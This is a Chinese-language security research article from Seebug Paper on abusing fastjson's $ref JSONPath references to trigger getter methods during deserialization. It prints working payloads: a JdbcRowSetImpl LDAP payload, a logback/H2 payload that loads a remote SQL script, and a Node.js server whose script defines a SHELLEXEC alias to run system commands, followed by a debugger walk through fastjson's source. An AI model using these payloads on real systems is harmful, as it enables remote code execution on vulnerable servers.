作者:lxraa
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
1、解決什么問題
反序列化的過程是把字符串映射成java類的過程,過程為①調用無參構造方法new一個java類;②通過反射的方式調用類的set方法設置字段。因此比較好用的poc一般是利用非純set方法里的危險操作觸發,例如JdbcRowSetImpl poc:
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}"
JSON.parse(poc);
利用了com.sun.rowset.JdbcRowSetImpl的非純set方法setAutoCommit:
...
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
...
而利用getXXX方法的poc一般利用難度較大,需要先將輸入反序列化,再序列化才能觸發,如網上流傳較廣的jackson ch.qos.logback.core.db.DriverManagerConnectionSource poc:
String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(payload, Object.class);//反序列化
String s = mapper.writeValueAsString(o);//序列化
因此比較難找到實際使用場景 以下討論一種利用fastjson的特性,構造poc,從而利用非純get函數構造可用性較高的poc的方法
2、前序知識
什么是$ref
ref,value為JSONPath語法的方式引用之前出現的對象,例如:
//類的定義:
public class Test {
private Integer id;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
}
//反序列化代碼:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0]\"}]"; //數組的第二個元素引用數組的第一個元素
Object o = JSON.parse(s);
...
序列化后的類如圖所示:

什么是JSONPath語法
https://goessner.net/articles/JsonPath/
JSONPath是為了在json中定位子元素的一種語言,具體語法規則網上較多,不做贅述。fastjson支持JSONPath
利用$ref觸發get方法的例子
public class Test {
private Integer id;
public Integer getId() {
//此處下斷點
System.out.println("getid");
return id;
}
public void setId(Integer id) {
this.id = id;
}
}
//反序列化代碼:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用數組第一個對象的id屬性,會觸發getId方法
Object o = JSON.parse(s);
...

這就是poc的構造原理
3、poc及代碼分析
poc
java poc:
// 該poc < fastjson 1.2.59 可用
// 參考 https://github.com/LeadroyaL/fastjson-blacklist/blob/766f7c546d2698ab37cd304644d113e186143da2/readme.md
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String refPayload = "[{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"},{$ref:\"$[0].connection\"}]";
Object o = JSON.parse(refPayload);
server(nodejs):
const express = require("express")
const fs = require("fs")
const app = express()
app.get("/test.sql",function(req,res){
res.send(`
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc.exe')
`)
})
app.listen(3000,function(){
console.log("listening 3000...")
})
源代碼分析
該poc利用了h2庫支持遠程加載腳本的特性,觸發點在org.h2.engine.FunctionAlias.getValue,poc本身的調用鏈不在本文討論的范圍內,以下討論fastjson環境下該poc是如何生效的 斷點下載com.alibaba.fastjson.JSON : line 165(fastjson版本1.2.58)
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse(); //反序列化關鍵邏輯類解析,set方法在這里調用
parser.handleResovleTask(value);//處理$ref
parser.close();
跟進handleResovleTask:
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref); //解析$ref
} catch (JSONPathException ex) {
// skip
}
}
}
第二個斷點下在com.alibaba.fastjson.JSONPath : line 1634 explain函數 這個函數的作用是把$ref的value解析成segment,Segment是定義在JSONPath類的一個interface,實現類有:

explain()會把一個完整的JSONPath拆分成小的處理邏輯,Segment接口即處理單元
public Segment[] explain() {
if (path == null || path.length() == 0) {
throw new IllegalArgumentException();
}
Segment[] segments = new Segment[8];
for (;;) {
Segment segment = readSegement();
if (segment == null) {
break;
}
if (segment instanceof PropertySegment) {
PropertySegment propertySegment = (PropertySegment) segment;
if ((!propertySegment.deep) && propertySegment.propertyName.equals("*")) {
continue;
}
}
if (level == segments.length) {
Segment[] t = new Segment[level * 3 / 2];
System.arraycopy(segments, 0, t, 0, level);
segments = t;
}
segments[level++] = segment;
}
if (level == segments.length) {
return segments;
}
Segment[] result = new Segment[level];
System.arraycopy(segments, 0, result, 0, level);
//返回一個Segment的Array,后面順序執行每個Segment
return result;
}
第三個斷點下在com.alibaba.fastjson.JSONPath : line 74 eval函數,這里順序執行前面explain生成的segment array
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segment segment = segments[i];
// rootObject:json字符串經parseObject解析后的對象
currentObject = segment.eval(this, rootObject, currentObject);
}
return currentObject;
}
第四個斷點下在com.alibaba.fastjson.util.FieldInfo: line 491 get函數
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
// 通過method.invoke觸發get方法
? method.invoke(javaObject)
: field.get(javaObject);
}
觸發效果:

本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1613/
暫無評論